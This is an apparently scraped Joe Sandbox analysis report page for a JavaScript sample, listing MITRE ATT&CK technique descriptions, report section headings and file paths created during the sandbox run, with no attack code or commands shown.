Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2801910740378426994.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d8305ea-1f38-4632-b169-1eeeff3778a4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7924

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2801910740378426994.js